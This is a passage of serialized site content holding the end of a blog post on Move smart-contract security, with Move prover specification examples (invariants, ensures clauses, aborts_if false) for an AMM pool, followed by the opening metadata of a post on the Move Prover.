Pool",{"type":23,"tag":41,"props":8064,"children":8065},{"style":70},[8066],{"type":28,"value":102},{"type":23,"tag":41,"props":8068,"children":8069},{"class":43,"line":76},[8070,8075,8080,8084,8089,8093,8097,8101,8105],{"type":23,"tag":41,"props":8071,"children":8072},{"style":64},[8073],{"type":28,"value":8074},"      let",{"type":23,"tag":41,"props":8076,"children":8077},{"style":858},[8078],{"type":28,"value":8079}," share",{"type":23,"tag":41,"props":8081,"children":8082},{"style":170},[8083],{"type":28,"value":3017},{"type":23,"tag":41,"props":8085,"children":8086},{"style":114},[8087],{"type":28,"value":8088}," add_liquidity",{"type":23,"tag":41,"props":8090,"children":8091},{"style":70},[8092],{"type":28,"value":1737},{"type":23,"tag":41,"props":8094,"children":8095},{"style":858},[8096],{"type":28,"value":7999},{"type":23,"tag":41,"props":8098,"children":8099},{"style":70},[8100],{"type":28,"value":970},{"type":23,"tag":41,"props":8102,"children":8103},{"style":858},[8104],{"type":28,"value":8016},{"type":23,"tag":41,"props":8106,"children":8107},{"style":70},[8108],{"type":28,"value":3825},{"type":23,"tag":41,"props":8110,"children":8111},{"class":43,"line":85},[8112,8117,8121,8126],{"type":23,"tag":41,"props":8113,"children":8114},{"style":114},[8115],{"type":28,"value":8116},"      remove_liquidity",{"type":23,"tag":41,"props":8118,"children":8119},{"style":70},[8120],{"type":28,"value":1737},{"type":23,"tag":41,"props":8122,"children":8123},{"style":858},[8124],{"type":28,"value":8125},"share",{"type":23,"tag":41,"props":8127,"children":8128},{"style":70},[8129],{"type":28,"value":1969},{"type":23,"tag":41,"props":8131,"children":8132},{"class":43,"line":105},[8133],{"type":23,"tag":41,"props":8134,"children":8135},{"style":70},[8136],{"type":28,"value":5872},{"type":23,"tag":41,"props":8138,"children":8139},{"class":43,"line":155},[8140,8145,8149],{"type":23,"tag":41,"props":8141,"children":8142},{"style":858},[8143],{"type":28,"value":8144},"  spec",{"type":23,"tag":41,"props":8146,"children":8147},{"style":858},[8148],{"type":28,"value":7990},{"type":23,"tag":41,"props":8150,"children":8151},{"style":70},[8152],{"type":28,"value":102},{"type":23,"tag":41,"props":8154,"children":8155},{"class":43,"line":186},[8156,8161,8166,8170,8175],{"type":23,"tag":41,"props":8157,"children":8158},{"style":858},[8159],{"type":28,"value":8160},"      pragma",{"type":23,"tag":41,"props":8162,"children":8163},{"style":858},[8164],{"type":28,"value":8165}," verify",{"type":23,"tag":41,"props":8167,"children":8168},{"style":170},[8169],{"type":28,"value":2381},{"type":23,"tag":41,"props":8171,"children":8172},{"style":64},[8173],{"type":28,"value":8174},"false",{"type":23,"tag":41,"props":8176,"children":8177},{"style":70},[8178],{"type":28,"value":183},{"type":23,"tag":41,"props":8180,"children":8181},{"class":43,"line":195},[8182,8187,8192,8197,8202],{"type":23,"tag":41,"props":8183,"children":8184},{"style":858},[8185],{"type":28,"value":8186},"      ensures",{"type":23,"tag":41,"props":8188,"children":8189},{"style":858},[8190],{"type":28,"value":8191}," result_1",{"type":23,"tag":41,"props":8193,"children":8194},{"style":170},[8195],{"type":28,"value":8196}," \u003C=",{"type":23,"tag":41,"props":8198,"children":8199},{"style":858},[8200],{"type":28,"value":8201}," coin1_in",{"type":23,"tag":41,"props":8203,"children":8204},{"style":70},[8205],{"type":28,"value":183},{"type":23,"tag":41,"props":8207,"children":8208},{"class":43,"line":905},[8209,8213,8218,8222,8227],{"type":23,"tag":41,"props":8210,"children":8211},{"style":858},[8212],{"type":28,"value":8186},{"type":23,"tag":41,"props":8214,"children":8215},{"style":858},[8216],{"type":28,"value":8217}," result_2",{"type":23,"tag":41,"props":8219,"children":8220},{"style":170},[8221],{"type":28,"value":8196},{"type":23,"tag":41,"props":8223,"children":8224},{"style":858},[8225],{"type":28,"value":8226}," coin2_in",{"type":23,"tag":41,"props":8228,"children":8229},{"style":70},[8230],{"type":28,"value":183},{"type":23,"tag":41,"props":8232,"children":8233},{"class":43,"line":922},[8234],{"type":23,"tag":41,"props":8235,"children":8236},{"style":70},[8237],{"type":28,"value":5872},{"type":23,"tag":24,"props":8239,"children":8240},{},[8241],{"type":28,"value":8242},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":24,"props":8244,"children":8245},{},[8246,8248,8253],{"type":28,"value":8247},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":2913,"props":8249,"children":8250},{},[8251],{"type":28,"value":8252},"lot",{"type":28,"value":8254}," easier to reason about the protocol.",{"type":23,"tag":24,"props":8256,"children":8257},{},[8258],{"type":28,"value":8259},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":31,"props":8261,"children":8263},{"className":2982,"code":8262,"language":2981,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[8264],{"type":23,"tag":37,"props":8265,"children":8266},{"__ignoreMap":7},[8267,8284,8307],{"type":23,"tag":41,"props":8268,"children":8269},{"class":43,"line":44},[8270,8275,8280],{"type":23,"tag":41,"props":8271,"children":8272},{"style":858},[8273],{"type":28,"value":8274},"spec",{"type":23,"tag":41,"props":8276,"children":8277},{"style":94},[8278],{"type":28,"value":8279}," PoolState",{"type":23,"tag":41,"props":8281,"children":8282},{"style":70},[8283],{"type":28,"value":102},{"type":23,"tag":41,"props":8285,"children":8286},{"class":43,"line":54},[8287,8292,8297,8302],{"type":23,"tag":41,"props":8288,"children":8289},{"style":858},[8290],{"type":28,"value":8291},"    invariant",{"type":23,"tag":41,"props":8293,"children":8294},{"style":858},[8295],{"type":28,"value":8296}," supply",{"type":23,"tag":41,"props":8298,"children":8299},{"style":170},[8300],{"type":28,"value":8301}," >=",{"type":23,"tag":41,"props":8303,"children":8304},{"style":70},[8305],{"type":28,"value":8306}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":41,"props":8308,"children":8309},{"class":43,"line":76},[8310],{"type":23,"tag":41,"props":8311,"children":8312},{"style":70},[8313],{"type":28,"value":201},{"type":23,"tag":24,"props":8315,"children":8316},{},[8317,8319,8325,8327,8333],{"type":28,"value":8318},"Another useful pattern for the Move prover is ",{"type":23,"tag":37,"props":8320,"children":8322},{"className":8321},[],[8323],{"type":28,"value":8324},"aborts_if",{"type":28,"value":8326},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":37,"props":8328,"children":8330},{"className":8329},[],[8331],{"type":28,"value":8332},"aborts_if false",{"type":28,"value":706},{"type":23,"tag":24,"props":8335,"children":8336},{},[8337],{"type":28,"value":8338},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":31,"props":8340,"children":8342},{"className":2982,"code":8341,"language":2981,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[8343],{"type":23,"tag":37,"props":8344,"children":8345},{"__ignoreMap":7},[8346,8410,8452,8475,8519,8532,8544,8582,8605,8693,8701,8725,8733,8754,8774,8873,8881,8910,8918,8930,8954,8989,8996,9004,9011,9026,9042,9059,9104,9210],{"type":23,"tag":41,"props":8347,"children":8348},{"class":43,"line":44},[8349,8353,8358,8362,8367,8371,8376,8380,8384,8389,8393,8397,8401,8406],{"type":23,"tag":41,"props":8350,"children":8351},{"style":858},[8352],{"type":28,"value":6568},{"type":23,"tag":41,"props":8354,"children":8355},{"style":114},[8356],{"type":28,"value":8357}," multiply_vec_by_n_coins",{"type":23,"tag":41,"props":8359,"children":8360},{"style":70},[8361],{"type":28,"value":1737},{"type":23,"tag":41,"props":8363,"children":8364},{"style":858},[8365],{"type":28,"value":8366},"input",{"type":23,"tag":41,"props":8368,"children":8369},{"style":170},[8370],{"type":28,"value":1474},{"type":23,"tag":41,"props":8372,"children":8373},{"style":858},[8374],{"type":28,"value":8375}," vector",{"type":23,"tag":41,"props":8377,"children":8378},{"style":70},[8379],{"type":28,"value":1012},{"type":23,"tag":41,"props":8381,"children":8382},{"style":94},[8383],{"type":28,"value":8041},{"type":23,"tag":41,"props":8385,"children":8386},{"style":70},[8387],{"type":28,"value":8388},">)",{"type":23,"tag":41,"props":8390,"children":8391},{"style":170},[8392],{"type":28,"value":1474},{"type":23,"tag":41,"props":8394,"children":8395},{"style":858},[8396],{"type":28,"value":8375},{"type":23,"tag":41,"props":8398,"children":8399},{"style":70},[8400],{"type":28,"value":1012},{"type":23,"tag":41,"props":8402,"children":8403},{"style":94},[8404],{"type":28,"value":8405},"u128",{"type":23,"tag":41,"props":8407,"children":8408},{"style":70},[8409],{"type":28,"value":7280},{"type":23,"tag":41,"props":8411,"children":8412},{"class":43,"line":54},[8413,8417,8422,8426,8430,8434,8439,8443,8447],{"type":23,"tag":41,"props":8414,"children":8415},{"style":64},[8416],{"type":28,"value":8074},{"type":23,"tag":41,"props":8418,"children":8419},{"style":858},[8420],{"type":28,"value":8421}," amounts_times_coins",{"type":23,"tag":41,"props":8423,"children":8424},{"style":170},[8425],{"type":28,"value":3017},{"type":23,"tag":41,"props":8427,"children":8428},{"style":70},[8429],{"type":28,"value":8375},{"type":23,"tag":41,"props":8431,"children":8432},{"style":170},[8433],{"type":28,"value":3479},{"type":23,"tag":41,"props":8435,"children":8436},{"style":858},[8437],{"type":28,"value":8438},"empty",{"type":23,"tag":41,"props":8440,"children":8441},{"style":70},[8442],{"type":28,"value":1012},{"type":23,"tag":41,"props":8444,"children":8445},{"style":94},[8446],{"type":28,"value":8405},{"type":23,"tag":41,"props":8448,"children":8449},{"style":70},[8450],{"type":28,"value":8451},">();\n",{"type":23,"tag":41,"props":8453,"children":8454},{"class":43,"line":76},[8455,8459,8463,8467,8471],{"type":23,"tag":41,"props":8456,"children":8457},{"style":64},[8458],{"type":28,"value":8074},{"type":23,"tag":41,"props":8460,"children":8461},{"style":858},[8462],{"type":28,"value":861},{"type":23,"tag":41,"props":8464,"children":8465},{"style":170},[8466],{"type":28,"value":3017},{"type":23,"tag":41,"props":8468,"children":8469},{"style":164},[8470],{"type":28,"value":392},{"type":23,"tag":41,"props":8472,"children":8473},{"style":70},[8474],{"type":28,"value":183},{"type":23,"tag":41,"props":8476,"children":8477},{"class":43,"line":85},[8478,8482,8487,8491,8495,8499,8503,8507,8511,8515],{"type":23,"tag":41,"props":8479,"children":8480},{"style":64},[8481],{"type":28,"value":8074},{"type":23,"tag":41,"props":8483,"children":8484},{"style":858},[8485],{"type":28,"value":8486}," n_coins",{"type":23,"tag":41,"props":8488,"children":8489},{"style":170},[8490],{"type":28,"value":3017},{"type":23,"tag":41,"props":8492,"children":8493},{"style":70},[8494],{"type":28,"value":8375},{"type":23,"tag":41,"props":8496,"children":8497},{"style":170},[8498],{"type":28,"value":3479},{"type":23,"tag":41,"props":8500,"children":8501},{"style":114},[8502],{"type":28,"value":2395},{"type":23,"tag":41,"props":8504,"children":8505},{"style":70},[8506],{"type":28,"value":1737},{"type":23,"tag":41,"props":8508,"children":8509},{"style":170},[8510],{"type":28,"value":855},{"type":23,"tag":41,"props":8512,"children":8513},{"style":858},[8514],{"type":28,"value":8366},{"type":23,"tag":41,"props":8516,"children":8517},{"style":70},[8518],{"type":28,"value":3825},{"type":23,"tag":41,"props":8520,"children":8521},{"class":43,"line":105},[8522,8527],{"type":23,"tag":41,"props":8523,"children":8524},{"style":58},[8525],{"type":28,"value":8526},"      while",{"type":23,"tag":41,"props":8528,"children":8529},{"style":70},[8530],{"type":28,"value":8531}," ({\n",{"type":23,"tag":41,"props":8533,"children":8534},{"class":43,"line":155},[8535,8540],{"type":23,"tag":41,"props":8536,"children":8537},{"style":858},[8538],{"type":28,"value":8539},"          spec",{"type":23,"tag":41,"props":8541,"children":8542},{"style":70},[8543],{"type":28,"value":102},{"type":23,"tag":41,"props":8545,"children":8546},{"class":43,"line":186},[8547,8552,8557,8561,8566,8570,8574,8578],{"type":23,"tag":41,"props":8548,"children":8549},{"style":858},[8550],{"type":28,"value":8551},"              invariant",{"type":23,"tag":41,"props":8553,"children":8554},{"style":114},[8555],{"type":28,"value":8556}," len",{"type":23,"tag":41,"props":8558,"children":8559},{"style":70},[8560],{"type":28,"value":1737},{"type":23,"tag":41,"props":8562,"children":8563},{"style":858},[8564],{"type":28,"value":8565},"amounts_times_coins",{"type":23,"tag":41,"props":8567,"children":8568},{"style":70},[8569],{"type":28,"value":866},{"type":23,"tag":41,"props":8571,"children":8572},{"style":170},[8573],{"type":28,"value":387},{"type":23,"tag":41,"props":8575,"children":8576},{"style":858},[8577],{"type":28,"value":861},{"type":23,"tag":41,"props":8579,"children":8580},{"style":70},[8581],{"type":28,"value":183},{"type":23,"tag":41,"props":8583,"children":8584},{"class":43,"line":195},[8585,8589,8593,8597,8601],{"type":23,"tag":41,"props":8586,"children":8587},{"style":858},[8588],{"type":28,"value":8551},{"type":23,"tag":41,"props":8590,"children":8591},{"style":858},[8592],{"type":28,"value":861},{"type":23,"tag":41,"props":8594,"children":8595},{"style":170},[8596],{"type":28,"value":8196},{"type":23,"tag":41,"props":8598,"children":8599},{"style":858},[8600],{"type":28,"value":8486},{"type":23,"tag":41,"props":8602,"children":8603},{"style":70},[8604],{"type":28,"value":183},{"type":23,"tag":41,"props":8606,"children":8607},{"class":43,"line":905},[8608,8612,8617,8622,8626,8630,8634,8638,8642,8646,8650,8655,8660,8664,8669,8673,8677,8681,8685,8689],{"type":23,"tag":41,"props":8609,"children":8610},{"style":858},[8611],{"type":28,"value":8551},{"type":23,"tag":41,"props":8613,"children":8614},{"style":858},[8615],{"type":28,"value":8616}," forall",{"type":23,"tag":41,"props":8618,"children":8619},{"style":858},[8620],{"type":28,"value":8621}," j",{"type":23,"tag":41,"props":8623,"children":8624},{"style":64},[8625],{"type":28,"value":3044},{"type":23,"tag":41,"props":8627,"children":8628},{"style":164},[8629],{"type":28,"value":392},{"type":23,"tag":41,"props":8631,"children":8632},{"style":170},[8633],{"type":28,"value":3053},{"type":23,"tag":41,"props":8635,"children":8636},{"style":858},[8637],{"type":28,"value":3737},{"type":23,"tag":41,"props":8639,"children":8640},{"style":170},[8641],{"type":28,"value":1474},{"type":23,"tag":41,"props":8643,"children":8644},{"style":858},[8645],{"type":28,"value":8421},{"type":23,"tag":41,"props":8647,"children":8648},{"style":70},[8649],{"type":28,"value":312},{"type":23,"tag":41,"props":8651,"children":8652},{"style":858},[8653],{"type":28,"value":8654},"j",{"type":23,"tag":41,"props":8656,"children":8657},{"style":70},[8658],{"type":28,"value":8659},"] ",{"type":23,"tag":41,"props":8661,"children":8662},{"style":170},[8663],{"type":28,"value":387},{"type":23,"tag":41,"props":8665,"children":8666},{"style":858},[8667],{"type":28,"value":8668}," input",{"type":23,"tag":41,"props":8670,"children":8671},{"style":70},[8672],{"type":28,"value":312},{"type":23,"tag":41,"props":8674,"children":8675},{"style":858},[8676],{"type":28,"value":8654},{"type":23,"tag":41,"props":8678,"children":8679},{"style":70},[8680],{"type":28,"value":8659},{"type":23,"tag":41,"props":8682,"children":8683},{"style":170},[8684],{"type":28,"value":377},{"type":23,"tag":41,"props":8686,"children":8687},{"style":858},[8688],{"type":28,"value":8486},{"type":23,"tag":41,"props":8690,"children":8691},{"style":70},[8692],{"type":28,"value":183},{"type":23,"tag":41,"props":8694,"children":8695},{"class":43,"line":922},[8696],{"type":23,"tag":41,"props":8697,"children":8698},{"style":70},[8699],{"type":28,"value":8700},"          };\n",{"type":23,"tag":41,"props":8702,"children":8703},{"class":43,"line":930},[8704,8709,8713,8717,8721],{"type":23,"tag":41,"props":8705,"children":8706},{"style":70},[8707],{"type":28,"value":8708},"          (",{"type":23,"tag":41,"props":8710,"children":8711},{"style":858},[8712],{"type":28,"value":3737},{"type":23,"tag":41,"props":8714,"children":8715},{"style":170},[8716],{"type":28,"value":758},{"type":23,"tag":41,"props":8718,"children":8719},{"style":858},[8720],{"type":28,"value":8486},{"type":23,"tag":41,"props":8722,"children":8723},{"style":70},[8724],{"type":28,"value":1969},{"type":23,"tag":41,"props":8726,"children":8727},{"class":43,"line":939},[8728],{"type":23,"tag":41,"props":8729,"children":8730},{"style":70},[8731],{"type":28,"value":8732},"      }) {\n",{"type":23,"tag":41,"props":8734,"children":8735},{"class":43,"line":947},[8736,8741,8745,8750],{"type":23,"tag":41,"props":8737,"children":8738},{"style":70},[8739],{"type":28,"value":8740},"          vector",{"type":23,"tag":41,"props":8742,"children":8743},{"style":170},[8744],{"type":28,"value":3479},{"type":23,"tag":41,"props":8746,"children":8747},{"style":114},[8748],{"type":28,"value":8749},"push_back",{"type":23,"tag":41,"props":8751,"children":8752},{"style":70},[8753],{"type":28,"value":3461},{"type":23,"tag":41,"props":8755,"children":8756},{"class":43,"line":985},[8757,8762,8766,8770],{"type":23,"tag":41,"props":8758,"children":8759},{"style":170},[8760],{"type":28,"value":8761},"              &",{"type":23,"tag":41,"props":8763,"children":8764},{"style":64},[8765],{"type":28,"value":3723},{"type":23,"tag":41,"props":8767,"children":8768},{"style":858},[8769],{"type":28,"value":8421},{"type":23,"tag":41,"props":8771,"children":8772},{"style":70},[8773],{"type":28,"value":3506},{"type":23,"tag":41,"props":8775,"children":8776},{"class":43,"line":1058},[8777,8782,8786,8791,8795,8800,8804,8808,8812,8817,8821,8826,8830,8834,8839,8844,8848,8852,8856,8861,8865,8869],{"type":23,"tag":41,"props":8778,"children":8779},{"style":70},[8780],{"type":28,"value":8781},"              (",{"type":23,"tag":41,"props":8783,"children":8784},{"style":170},[8785],{"type":28,"value":377},{"type":23,"tag":41,"props":8787,"children":8788},{"style":70},[8789],{"type":28,"value":8790},"vector",{"type":23,"tag":41,"props":8792,"children":8793},{"style":170},[8794],{"type":28,"value":3479},{"type":23,"tag":41,"props":8796,"children":8797},{"style":114},[8798],{"type":28,"value":8799},"borrow",{"type":23,"tag":41,"props":8801,"children":8802},{"style":70},[8803],{"type":28,"value":1737},{"type":23,"tag":41,"props":8805,"children":8806},{"style":170},[8807],{"type":28,"value":855},{"type":23,"tag":41,"props":8809,"children":8810},{"style":858},[8811],{"type":28,"value":8366},{"type":23,"tag":41,"props":8813,"children":8814},{"style":70},[8815],{"type":28,"value":8816},", (",{"type":23,"tag":41,"props":8818,"children":8819},{"style":858},[8820],{"type":28,"value":3737},{"type":23,"tag":41,"props":8822,"children":8823},{"style":64},[8824],{"type":28,"value":8825}," as",{"type":23,"tag":41,"props":8827,"children":8828},{"style":94},[8829],{"type":28,"value":5860},{"type":23,"tag":41,"props":8831,"children":8832},{"style":70},[8833],{"type":28,"value":1746},{"type":23,"tag":41,"props":8835,"children":8836},{"style":64},[8837],{"type":28,"value":8838},"as",{"type":23,"tag":41,"props":8840,"children":8841},{"style":94},[8842],{"type":28,"value":8843}," u128",{"type":23,"tag":41,"props":8845,"children":8846},{"style":70},[8847],{"type":28,"value":866},{"type":23,"tag":41,"props":8849,"children":8850},{"style":170},[8851],{"type":28,"value":377},{"type":23,"tag":41,"props":8853,"children":8854},{"style":70},[8855],{"type":28,"value":142},{"type":23,"tag":41,"props":8857,"children":8858},{"style":858},[8859],{"type":28,"value":8860},"n_coins",{"type":23,"tag":41,"props":8862,"children":8863},{"style":64},[8864],{"type":28,"value":8825},{"type":23,"tag":41,"props":8866,"children":8867},{"style":94},[8868],{"type":28,"value":8843},{"type":23,"tag":41,"props":8870,"children":8871},{"style":70},[8872],{"type":28,"value":1969},{"type":23,"tag":41,"props":8874,"children":8875},{"class":43,"line":1084},[8876],{"type":23,"tag":41,"props":8877,"children":8878},{"style":70},[8879],{"type":28,"value":8880},"          );\n",{"type":23,"tag":41,"props":8882,"children":8883},{"class":43,"line":1102},[8884,8889,8893,8897,8902,8906],{"type":23,"tag":41,"props":8885,"children":8886},{"style":858},[8887],{"type":28,"value":8888},"          i",{"type":23,"tag":41,"props":8890,"children":8891},{"style":170},[8892],{"type":28,"value":3017},{"type":23,"tag":41,"props":8894,"children":8895},{"style":858},[8896],{"type":28,"value":861},{"type":23,"tag":41,"props":8898,"children":8899},{"style":170},[8900],{"type":28,"value":8901}," +",{"type":23,"tag":41,"props":8903,"children":8904},{"style":164},[8905],{"type":28,"value":167},{"type":23,"tag":41,"props":8907,"children":8908},{"style":70},[8909],{"type":28,"value":183},{"type":23,"tag":41,"props":8911,"children":8912},{"class":43,"line":1110},[8913],{"type":23,"tag":41,"props":8914,"children":8915},{"style":70},[8916],{"type":28,"value":8917},"      };\n",{"type":23,"tag":41,"props":8919,"children":8920},{"class":43,"line":1118},[8921,8926],{"type":23,"tag":41,"props":8922,"children":8923},{"style":858},[8924],{"type":28,"value":8925},"      spec",{"type":23,"tag":41,"props":8927,"children":8928},{"style":70},[8929],{"type":28,"value":102},{"type":23,"tag":41,"props":8931,"children":8932},{"class":43,"line":1137},[8933,8938,8942,8946,8950],{"type":23,"tag":41,"props":8934,"children":8935},{"style":858},[8936],{"type":28,"value":8937},"          assert",{"type":23,"tag":41,"props":8939,"children":8940},{"style":858},[8941],{"type":28,"value":861},{"type":23,"tag":41,"props":8943,"children":8944},{"style":170},[8945],{"type":28,"value":3282},{"type":23,"tag":41,"props":8947,"children":8948},{"style":858},[8949],{"type":28,"value":8486},{"type":23,"tag":41,"props":8951,"children":8952},{"style":70},[8953],{"type":28,"value":183},{"type":23,"tag":41,"props":8955,"children":8956},{"class":43,"line":1163},[8957,8961,8965,8969,8973,8977,8981,8985],{"type":23,"tag":41,"props":8958,"children":8959},{"style":858},[8960],{"type":28,"value":8937},{"type":23,"tag":41,"props":8962,"children":8963},{"style":114},[8964],{"type":28,"value":8556},{"type":23,"tag":41,"props":8966,"children":8967},{"style":70},[8968],{"type":28,"value":1737},{"type":23,"tag":41,"props":8970,"children":8971},{"style":858},[8972],{"type":28,"value":8366},{"type":23,"tag":41,"props":8974,"children":8975},{"style":70},[8976],{"type":28,"value":866},{"type":23,"tag":41,"props":8978,"children":8979},{"style":170},[8980],{"type":28,"value":387},{"type":23,"tag":41,"props":8982,"children":8983},{"style":858},[8984],{"type":28,"value":8486},{"type":23,"tag":41,"props":8986,"children":8987},{"style":70},[8988],{"type":28,"value":183},{"type":23,"tag":41,"props":8990,"children":8991},{"class":43,"line":1188},[8992],{"type":23,"tag":41,"props":8993,"children":8994},{"style":70},[8995],{"type":28,"value":8917},{"type":23,"tag":41,"props":8997,"children":8998},{"class":43,"line":1979},[8999],{"type":23,"tag":41,"props":9000,"children":9001},{"style":858},[9002],{"type":28,"value":9003},"      amounts_times_coins\n",{"type":23,"tag":41,"props":9005,"children":9006},{"class":43,"line":2002},[9007],{"type":23,"tag":41,"props":9008,"children":9009},{"style":70},[9010],{"type":28,"value":5872},{"type":23,"tag":41,"props":9012,"children":9013},{"class":43,"line":3835},[9014,9018,9022],{"type":23,"tag":41,"props":9015,"children":9016},{"style":858},[9017],{"type":28,"value":8144},{"type":23,"tag":41,"props":9019,"children":9020},{"style":858},[9021],{"type":28,"value":8357},{"type":23,"tag":41,"props":9023,"children":9024},{"style":70},[9025],{"type":28,"value":102},{"type":23,"tag":41,"props":9027,"children":9028},{"class":43,"line":3895},[9029,9033,9038],{"type":23,"tag":41,"props":9030,"children":9031},{"style":858},[9032],{"type":28,"value":8160},{"type":23,"tag":41,"props":9034,"children":9035},{"style":858},[9036],{"type":28,"value":9037}," opaque",{"type":23,"tag":41,"props":9039,"children":9040},{"style":70},[9041],{"type":28,"value":183},{"type":23,"tag":41,"props":9043,"children":9045},{"class":43,"line":9044},27,[9046,9051,9055],{"type":23,"tag":41,"props":9047,"children":9048},{"style":858},[9049],{"type":28,"value":9050},"      aborts_if",{"type":23,"tag":41,"props":9052,"children":9053},{"style":64},[9054],{"type":28,"value":1095},{"type":23,"tag":41,"props":9056,"children":9057},{"style":70},[9058],{"type":28,"value":183},{"type":23,"tag":41,"props":9060,"children":9062},{"class":43,"line":9061},28,[9063,9067,9071,9075,9080,9084,9088,9092,9096,9100],{"type":23,"tag":41,"props":9064,"children":9065},{"style":858},[9066],{"type":28,"value":8186},{"type":23,"tag":41,"props":9068,"children":9069},{"style":114},[9070],{"type":28,"value":8556},{"type":23,"tag":41,"props":9072,"children":9073},{"style":70},[9074],{"type":28,"value":1737},{"type":23,"tag":41,"props":9076,"children":9077},{"style":858},[9078],{"type":28,"value":9079},"result",{"type":23,"tag":41,"props":9081,"children":9082},{"style":70},[9083],{"type":28,"value":866},{"type":23,"tag":41,"props":9085,"children":9086},{"style":170},[9087],{"type":28,"value":387},{"type":23,"tag":41,"props":9089,"children":9090},{"style":114},[9091],{"type":28,"value":8556},{"type":23,"tag":41,"props":9093,"children":9094},{"style":70},[9095],{"type":28,"value":1737},{"type":23,"tag":41,"props":9097,"children":9098},{"style":858},[9099],{"type":28,"value":8366},{"type":23,"tag":41,"props":9101,"children":9102},{"style":70},[9103],{"type":28,"value":3825},{"type":23,"tag":41,"props":9105,"children":9107},{"class":43,"line":9106},29,[9108,9112,9116,9120,9124,9128,9132,9137,9141,9145,9149,9153,9158,9162,9166,9170,9174,9178,9182,9186,9190,9194,9198,9202,9206],{"type":23,"tag":41,"props":9109,"children":9110},{"style":858},[9111],{"type":28,"value":8186},{"type":23,"tag":41,"props":9113,"children":9114},{"style":858},[9115],{"type":28,"value":8616},{"type":23,"tag":41,"props":9117,"children":9118},{"style":858},[9119],{"type":28,"value":8621},{"type":23,"tag":41,"props":9121,"children":9122},{"style":64},[9123],{"type":28,"value":3044},{"type":23,"tag":41,"props":9125,"children":9126},{"style":164},[9127],{"type":28,"value":392},{"type":23,"tag":41,"props":9129,"children":9130},{"style":170},[9131],{"type":28,"value":3053},{"type":23,"tag":41,"props":9133,"children":9134},{"style":114},[9135],{"type":28,"value":9136},"len",{"type":23,"tag":41,"props":9138,"children":9139},{"style":70},[9140],{"type":28,"value":1737},{"type":23,"tag":41,"props":9142,"children":9143},{"style":858},[9144],{"type":28,"value":8366},{"type":23,"tag":41,"props":9146,"children":9147},{"style":70},[9148],{"type":28,"value":2678},{"type":23,"tag":41,"props":9150,"children":9151},{"style":170},[9152],{"type":28,"value":1474},{"type":23,"tag":41,"props":9154,"children":9155},{"style":858},[9156],{"type":28,"value":9157}," result",{"type":23,"tag":41,"props":9159,"children":9160},{"style":70},[9161],{"type":28,"value":312},{"type":23,"tag":41,"props":9163,"children":9164},{"style":858},[9165],{"type":28,"value":8654},{"type":23,"tag":41,"props":9167,"children":9168},{"style":70},[9169],{"type":28,"value":8659},{"type":23,"tag":41,"props":9171,"children":9172},{"style":170},[9173],{"type":28,"value":387},{"type":23,"tag":41,"props":9175,"children":9176},{"style":858},[9177],{"type":28,"value":8668},{"type":23,"tag":41,"props":9179,"children":9180},{"style":70},[9181],{"type":28,"value":312},{"type":23,"tag":41,"props":9183,"children":9184},{"style":858},[9185],{"type":28,"value":8654},{"type":23,"tag":41,"props":9187,"children":9188},{"style":70},[9189],{"type":28,"value":8659},{"type":23,"tag":41,"props":9191,"children":9192},{"style":170},[9193],{"type":28,"value":377},{"type":23,"tag":41,"props":9195,"children":9196},{"style":114},[9197],{"type":28,"value":8556},{"type":23,"tag":41,"props":9199,"children":9200},{"style":70},[9201],{"type":28,"value":1737},{"type":23,"tag":41,"props":9203,"children":9204},{"style":858},[9205],{"type":28,"value":8366},{"type":23,"tag":41,"props":9207,"children":9208},{"style":70},[9209],{"type":28,"value":3825},{"type":23,"tag":41,"props":9211,"children":9213},{"class":43,"line":9212},30,[9214],{"type":23,"tag":41,"props":9215,"children":9216},{"style":70},[9217],{"type":28,"value":5872},{"type":23,"tag":446,"props":9219,"children":9220},{"id":5309},[9221],{"type":28,"value":5312},{"type":23,"tag":24,"props":9223,"children":9224},{},[9225],{"type":28,"value":9226},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":24,"props":9228,"children":9229},{},[9230],{"type":28,"value":9231},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":24,"props":9233,"children":9234},{},[9235,9237,9244],{"type":28,"value":9236},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":458,"props":9238,"children":9241},{"href":9239,"rel":9240},"https://twitter.com/notdeghost/",[462],[9242],{"type":28,"value":9243},"@notdeghost",{"type":28,"value":706},{"type":23,"tag":2843,"props":9246,"children":9247},{},[9248],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":9250},[9251,9252,9253],{"id":5759,"depth":54,"text":5762},{"id":7796,"depth":54,"text":7799},{"id":5309,"depth":54,"text":5312},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":9258,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":9259,"description":9260,"author":5720,"image":9261,"date":9264,"isFeatured":18,"tags":9265,"onBlogPage":18,"body":9268,"_type":2864,"_id":13608,"_source":2866,"_file":13609,"_stem":13610,"_extension":2869},"/blog/2022-09-16-move-prover","The Move Prover: 